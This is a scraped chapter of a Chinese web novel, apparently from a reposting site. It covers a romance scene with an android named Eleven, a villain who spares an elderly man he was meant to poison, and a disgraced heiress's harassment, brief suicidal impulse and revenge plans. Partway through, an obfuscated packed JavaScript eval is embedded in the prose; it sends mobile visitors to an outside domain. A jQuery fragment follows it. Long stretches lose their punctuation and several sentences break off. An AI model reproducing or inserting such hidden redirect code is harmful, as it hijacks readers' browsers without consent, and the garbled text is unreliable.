143. 密林深处20 Eleven:“吻我,……

作品:《祂的伊甸园

    浴室里有着洗发露和沐浴露的香气。


    专属于小祈渊的香味还飘散在空气中,环绕在林浠周围。


    林浠望着眼前的Eleven,他银白色的发还未干涸,眼睛里承载着闪耀的星辰,皮肤比平时还要剔透,嘴唇的颜色很淡,犹如初开的花朵,有着纯真的冷艳。


    林浠的眼神有些躲闪,不知为何,他居然有些紧张,就好像他在和Eleven偷情似的。这种奇怪的情绪缠绕着他,让他的心脏怦怦直掉,被Eleven握住的手也有些躲闪。


    Eleven见林浠没有进一步的动作,居然又说了一次:“吻我,好吗?”


    他的语气明明是礼貌的,而他的声音里面,居然有着些微央求,些微压抑。


    他用力地握着林浠的手,显然已经在努力抑制他的冲动。


    在这一刻,林浠开始深刻地反省自己对Eleven的感情。


    他跟Eleven之间,只是朋友的惺惺相惜吗?不对,Eleven离他很近的时候,他也会口干舌燥。


    因为单纯的同情?不,他不会因为同情而接受一个人。


    因为他是古神之子的精神体,所以把他当成了祈渊的附属品?也不对。在林浠看来,祈渊和Eleven同样强大,两者既是独立的个体,又可以相互融合。


    那么,就是因为,这具身体对古神之子的爱意已经融入了骨髓,所以在面对古神之子的精神体时,便会不由自主地产生好感?事实上,他对祈渊的心动,恐怕也有一部分源于这种本能。


    这是有可能的。


    但是更多的,林浠想起了与Eleven在一起的经历。


    他想起了一直陪伴在他身边,关心他,与他共同作战的Eleven;


    因他而产生情感的Eleven;


    为他破例的Eleven;


    因为受到打击造成全伊甸断电的Eleven;


    在蓝色数据雨中说着要忘掉他的Eleven;


    在夜里说着抱歉的Eleven;


    为了他来到地球的Eleven;


    将他视为唯一意义的Eleven;


    将无比美丽的精神世界当成礼物送给他的Eleven……


    想到这些,林浠的心脏就变得柔软。


    他想,何必把那些感情分得那么清呢。


    此刻他知道,他是吻得下去的,他想要亲吻眼前的这个人。


    林浠这么想着,凑过去,轻轻地吻了吻Eleven的唇角。


    他吻得极轻,只是稍微碰了碰,一秒钟不到。


    他想,仿生人的质感做得真好。


    他的唇和真人一样柔软。


    他的反应也与真人一样可爱。


    只见Eleven瞪大了眼睛,似乎不敢相信,林浠居然真的吻了他。


    他的脸颊和耳朵迅速泛红,看起来粉红粉红的,很是好看。


    林浠:“现在开心了吗?


    Eleven:“我的触感和味觉不够灵敏,所以,太轻了,我还没有感觉到。


    林浠好笑地说:“Eleven,你是从什么时候开始学会耍赖的?


    Eleven叹息:“从现在……


    说着,他猛地靠近林浠,轻轻地咬上了林浠的唇。


    这只是一开始的试探。


    见林浠没有推开他,他便更密、更重地吻了上去,反反复复,不知疲倦。


    他的手掌缓缓滑上林浠的背脊,带来一阵痒麻。


    他的手指抚过林浠的后颈,用力地穿过他柔软的发丝。


    平时温文尔雅,总是十分有礼貌的Eleven,在接吻的时候居然有着强烈的控制欲。


    就好像是因为他实在是等了太久,那些渴望,那些疯狂,在一刹那轰然爆发。


    不多时,林浠就像是缺氧的鱼,时不时张口呼吸。


    而他总是会再次堵上林浠的唇。


    他灵活的舌纠缠着林浠的,那条舌顶着林浠的上颚,滑入其中,让林浠无处可逃。


    林浠时不时推开他,却又被他封住唇舌。


    林浠很吃惊,他以为Eleven还很单纯,根本就不会接吻,却发现Eleven不是很会……是太会了……


    当然,他不知道,Eleven的练习对象就是他。趁他睡着以后,Eleven找他练习过很多次了。


    而且,Eleven知晓他的感受。


    他一边吻着林浠,一边倾听他的心跳。


    他


    会故意让林浠的心跳变得更快、更快。


    故意让林浠的体温升高,升得更高。


    直到林浠忘记了推开他,开始回应他,他才终于结束了小小的恶作剧,继续沉溺在美好的唇瓣里。


    ……


    这天晚上,庆功宴。他们吃了烤全羊,喝了夜啤酒,享受了丰盛的一餐。


    吃完饭,他们五个人一起打牌玩大冒险,输了的人必须做围观士兵们指使的任何不违法的事,一般士兵们都会要求输家找人亲亲啊,抱抱啊,告白啊,做俯卧撑之类的。


    林浠突然感觉自己好像变成了肥羊,不知道为什么,他明明没输,这些士兵就像是被提前买通了(林浠你没有猜错),总是指定输家对他做各种事,一会儿亲手手,一会儿抱抱。


    十分难得,小祈渊和Eleven居然相互协作,同仇敌忾,一心想输。


    没错,夏元冶、森羽、小祈渊和Eleven都在抢着当输家。


    当然,他俩一合作,基本输到结束。


    毕竟Eleven本来就擅长计算,小祈渊自带影响催眠能力。于是,跟他们对战的人都直呼邪门,包括夏元冶,他不信邪,跟他们连战十回合,全赢。


    夏元冶从来没有那么讨厌赢过,气愤!一晚上他连林浠的手指头都没摸过!


    这天晚上他们住在军营,睡在大帐篷里。


    睡前,他们开着帐篷,眺望天地。


    此刻,深蓝色的天空与辽阔的大地汇成一片,如果头顶上没有那颗可怕的红色星球,如果眼中没有红色的倒计时,气氛一定会更好。


    林浠感受着夜风的吹拂,问Eleven:“其实我很好奇,当你被菲斯特吞进喉咙以后,到底发生了什么?”


    Eleven:“我去了菲斯特的核心,那里有着虚拟的殿堂,数不清的尸骨,全部都是被他吞噬的童男童女。而他的形象……实在是难以形容,他有着多个头,最中央的那一颗,是一个满脸褶子的白发老人。他的身体如同腐朽的野兽,有着多对虫足——他的形象比巨蝉要可怕许多。”


    林浠:“你在那里与他战斗吗?”


    Eleven点点头。


    林浠:“真是不可思议,外界看来,你被他吞入了半分钟,他就爆炸了。”


    Eleven:“从我的视角来看我在那里与他战斗了28分钟。负面情绪就是他的力量他充斥着痛苦和仇恨十分难缠。但是他的力量有限招式一多就破绽百出。”


    林浠:“其实我现在很担心一个人。”


    Eleven:“安德烈对吗?”


    林浠:“是充满恶意的菲斯特曾潜伏在他的身边几乎控制了他的精神和身体恐怕会对他不利。”.


    安德烈的每一天都是类似的他就像一块古旧的钟表总会在固定的时间做固定的事情。


    清晨他早早地醒来洗漱吃早餐喂鹦鹉。


    这只灰鹦鹉陪伴了他五十多年了最近总是精神不振不太说话有些站不稳了。它和他一样太老了。


    他抚摸了一会儿灰鹦鹉再次撑着拐杖挪进卧室医生扶着他躺下为他脱了鞋将他僵硬的双脚抬到床上。


    医生挂好吊瓶为他输液。他浑身都是慢性疾病每天都需要治疗两三个小时。


    他输液时医生去花园浇花回来的时候跟他说有只野猫跑进了他的后花园。他描述着野猫的模样说它有着长长的毛粗粗的尾巴安德烈想象着猫的模样情不自禁地笑了起来。很快他发出震耳欲聋的呼噜声他睡着了。


    安德烈醒来时该吃午餐了。医生照顾他吃饭说起昨天的事安德烈却毫无印象。他的记忆力越来越差其实就别说昨天的事哪怕是上午医生跟他说过的话他都不一定能记得。


    下午医生让安德烈坐在轮椅上陪他去钓鱼。


    后花园里有个小池塘里面养着不少鱼。安德烈在那里垂钓打发时间。


    他的精神状态还不错滔滔不绝地讲述着他年轻时的故事。


    他说二十岁的他不喜欢垂钓喜欢骑马射箭搏斗。他哪怕骑几公里也不累总是在比赛中拔得头筹。在一次狩猎活动中


    后来他们全家搬迁到M星小狐狸也跟着来了。当大女儿出生后小狐狸成为了大女儿的宠物。


    他谈起过去的事情脸上的皱纹稍稍舒展浑浊的双眼似乎也比往常要清明一些。


    他讲述时医生为他


    披上了一件外套,下午四点之后,天气又开始转冷。


    安德烈咳嗽几声,医生扶他回主宅:“咳咳,林浠、林浠他们,怎么样了?是不是准备去圣殿了?”


    医生却说起了晚餐的食材。


    安德烈快忘记刚才的话题了,他侧着身子一步一步走上台阶,弯着腰,一点一点地步入房间。


    医生的声音在他背后响起,很轻:“我也该去了。”


    晚上,医生和女仆为安德烈做了一顿大餐,女仆做完后离开了。


    安德烈笨拙地用刀叉割着餐盘中的牛排,将肉块送入口中,用假牙咀嚼着,味道很不错。


    医生准备了一瓶昂贵的红酒。醒酒后,他将红酒倒入高脚玻璃杯里,又将玻璃杯推到安德烈的跟前。


    安德烈捉着玻璃杯,轻轻晃动其中的酒液。


    他一边咀嚼,一边说话,声音有些含糊不清:“约翰,明天还能见到你吗?”


    医生的动作停顿了片刻,他微笑着说:“老爷,我每天都在这里照顾您,明天当然还能见到我啊。”


    安德烈用浑浊的眼望着医生,缓缓道:“希望你添加了足够的量,能够让我没有痛苦地死去。以前的我不怕疼,人老啦,越来越怕疼了。”


    医生一脸惊慌:“老爷,您到底在说什么,我怎么可能杀您!”


    安德烈却清醒地说:“其实你伪装得不够好,我的医生约翰是一个很笨拙的人,他只会行医,不擅长做饭,也不是一个细心的人。而你很聪明,擅长做饭,十分细心。


    “我早就知道你不是约翰,你待在我的身边有着特殊的目的。你应该一直都在等待那些年轻人吧,你想将他们引去圣殿,为此,你专门为我施加了催眠,让我将关键词告诉了他们。


    “我并不知道你具体想做什么,但我知道,当我传达完那些消息之后,我对你而言已经毫无用处了。我帮助紫宸的行为,会阻碍你的计划。所以,你会在离开之前除掉我。”


    医生嗓音里的惊慌消失无踪。


    他变成了菲斯特,声线妖冶,带着些轻浮和调侃:“哦,老头,原来你早就发现了啊,那你为什么不告知警卫呢?”


    安德烈笑了,发出了标志的“哦嚯嚯”的笑声。


    而他的眼中带泪,笑声也变得有


    些虚浮:“我只是一个孤独的老人,我的妻子和两个女儿都走了,我被软禁在这里,平日里就只有跟我的鹦鹉说话。


    “你虽然有特殊目的,至少你能陪着我,听我说些无聊的话……你不仅做到了这些,你确实在好好照顾我,我十分感激你……咳咳咳……不知不觉,你就像我的儿子一样……”


    菲斯特微微蹙眉,神色有些复杂,冒出喉咙的那些嘲讽的句子,居然一个字都没有吐出来。


    安德烈没有看菲斯特,主要是就算看,也看不清。


    他望着远处,眼中没有焦距:“已经九十八年了,我经历过辉煌,也经历了衰败,过去的一切都变成了尘埃,而我的这具身体也差不多该入土了。孩子,由你把我送走,我想,我就没什么遗憾了。”


    说着,他端起红酒,就要将酒液灌入喉咙。


    然而,菲斯特合拢手指,握拳。


    玻璃酒杯在刹那间碎成齑粉,酒液也跟着消失了。


    菲斯特离开了。


    安德烈立马起身抓他,但他的小腿已经很细了,一时失力,他摔倒在地上。


    菲斯特转身将他扶起,他一时间也有些搞不清楚了。


    或许,他只是演了太久,有些入戏了。


    安德烈抓住他的手:“你不准备杀我吗?”


    菲斯特:“我不是慈善家,不喜欢满足别人的愿望。”


    安德烈:“……是吗,是吗,那你要走了?”


    菲斯特:“是,老头,以后你自己保重。”


    安德烈:“刚才我说的都是真心话,你真的就像是我的儿子……”


    菲斯特掰开他的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777122|89684||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手,无声地离开了。


    他没有告诉安德烈,其实他也觉得,安德烈就像是他的父亲。


    他活了太久,早已忘记了父亲的容貌。


    记忆里,父亲是一个很严厉的人,从来都不会夸奖他,只会责骂他,贬低他,让小小的他变得无比自卑,于是,后天他需要伪装成自信的人,会更加渴望力量,会被强大的神明吸引,需要用他所知道的一切来掩盖内心深处的自卑。


    他长大以后,一直远离父亲。父亲后来生病了,他是最后一个知道的人。父亲去世时,他还在赌气,并未陪伴左右。


    当他照顾安德烈时,他偶


    尔会想,他父亲在临死前,也会这般可怜吗?


    每一天都在走下坡路,死亡不知何时就会降临,身上散发着越发浓重的老人味,五感越来越糟糕。安德烈和他的鹦鹉一样,行走在死亡边缘,一不小心就会失去呼吸。


    他一直都想嘲笑亲生父亲,让他愧疚,让他痛苦,让他生不如死。


    他本该这样对安德烈。


    可是,他实际上做的,却是耐心地倾听安德烈说的每一句话,每天从早到晚陪着他,当他开心地抚摸着自己的头,夸他“好孩子”的时候,他的眼睛竟然湿润了。


    没错,他是一个罪孽深重的人。


    可是,他的内心深处渴望的,其实只是一个肯定,一个赞许。其实他只是希望所爱之人,能够回过头来看看他。


    然而,这个小小的愿望却变成了执念。


    为了执念,他走错了路。


    一步错,步步错。


    他将痛苦带给了更多人,他让别人来承受他的痛苦。


    最后,在他弥留之际,他才终于发现,他之所以那么理解安德烈,因为从头到尾,他和安德烈一样孤独。


    安德烈的人生,是一个从拥有到失去的过程。


    他的人生,则是从渴望到贪婪到毁减的过程。


    往昔就像是一场缺乏意义的幻梦。.


    再说M星。


    12月26日,安娜不仅在大选上失败,还被群众羞辱。她的全息影像被紫金群众扔臭鸡蛋。


    她在社交媒体上的形象还不错,她之前被鲍威尔逼迫,公开发视频时,还获得了一大波同情粉,很多人都站出来支持她,为什么会发生这种事?


    那就是因为,媒体战。


    她和里根家族的黑料被扒出,曝光在各大平台,六成为真,四成为假,虚实结合,更是让人难以分辨。


    网络是缺乏理性的,是情绪放大后的产物,很快,她便被推上了风口浪尖,被千夫所指。


    里根家族的律师劝她淡定,不要去回应社交平台上的咒骂,就算要回应,也应该由律师事务所回应,以后可以慢慢起诉。


    律师建议她请专业媒体人士帮忙压黑料,转移公众视线,尽量帮她挽回名誉上的损失。


    她当然会请专业人士,花多少钱都可以。


    但是无论是律师还是专业人士都告诉她这些流程需要一定的时间恐怕至少需要三个月到半年的时间。


    安娜的神经崩得太紧快要断掉了。


    她哪里等得了呢?


    她急需发泄口她的迫切让她的缺点“天真”再次控制了她的行动。


    所以她又做了一件蠢事。


    她开小号去跟网友解释解释无用她就与网友对骂她已经很控制了自认为说的都是很理性的话。


    她确实宣泄了一些情绪但随之而来的是更多的网友挂她网暴她。这些人似乎根本就没有理性——这很正常驱赶他们的是情绪而非理性。


    然后安娜的小号被人肉了她所说的每一句话被断章取义变成了新的黑料。


    安娜乃至里根家族的一切正式成为了网络狂欢的靶心。


    所有人都知晓她的真实身份和地址而她却无法抓取每个网友的身份信息。


    也就是说如果十个人跟她对战


    但是当几万个人跟她对战甚至几十万人她又该怎么办呢?


    当天她便收到了各种可怕的匿名快递包括骷髅头和人手。


    她和母亲甚至不敢出门。


    她的母亲因为大卫和奥斯顿的事情精神疾病爆发这下子女儿又出了事她完全无法自控将这件事完全怪罪到安娜身上。


    她歇斯底里地扇了安娜一巴掌大骂她暴躁、幼稚说现在只剩下没用的她里根家族彻底完了。


    安娜头一次大骂母亲:“是从小你的眼里就只有哥哥因为他是带把的!我是女孩所以我只是他的附属品!我一点用处都没有!那你去依靠他啊!你去找他啊!”


    她骂出来的全部都是埋藏在心底的恨意。


    这些话她本来想藏一辈子的。


    她明明知道哥哥已经死了她这样的话有多残忍。


    而现在她再也忍不住了。


    骂完她冲上楼砰的一声将自己锁在房间里。


    她关掉了所有电子设备大哭了一场。


    没错她曾是高高在上的总统女儿是名副其实的公主是大卫的掌上明珠。


    而事实


    上,大卫哪怕宠爱她,也不会将权力交给她;她的哥哥什么都用最好的,从小就获得了更多关注和称赞,永远凌驾于她;她的母亲,永远把她当成奥斯顿的辅助,一直跟她说,将来你要嫁对人,好好辅助哥哥。


    她在家里,得不到完全且彻底的爱,于是她寻求外界,而外界的人之所以对她好,只是看中了她的身份,只是想利用她。她根本没有真正的朋友。


    然后她开始寻求刺激,希望在爱情中获得那份唯一。然而,寻找爱情扭曲成了满足肉/欲,获得的快感确实强烈,内心却更加空虚。


    没有人无条件地喜欢她,没有人将她放在第一位。


    她周围的人,无论是爸爸,妈妈,哥哥,还是任何一个男朋友,任何一个朋友,都是骗子!骗子!骗子!


    而现在,那些骗子已经死了!


    所以活受罪的,变成了她!


    她翻箱倒柜,找出了药片,想要吞下去。


    但是她控制住了自己。


    她洗了个澡,站在白墙前,一字一句地朗读她刻下的句子。


    呵,呵呵,哈哈哈哈哈……


    她笑了起来。


    她还没来得及复仇,还没有抓到芙罗拉,还没有剥掉她的皮。


    所以她还不能死。


    她现在唯一想做的,就是去绿洲,亲手杀了芙罗拉。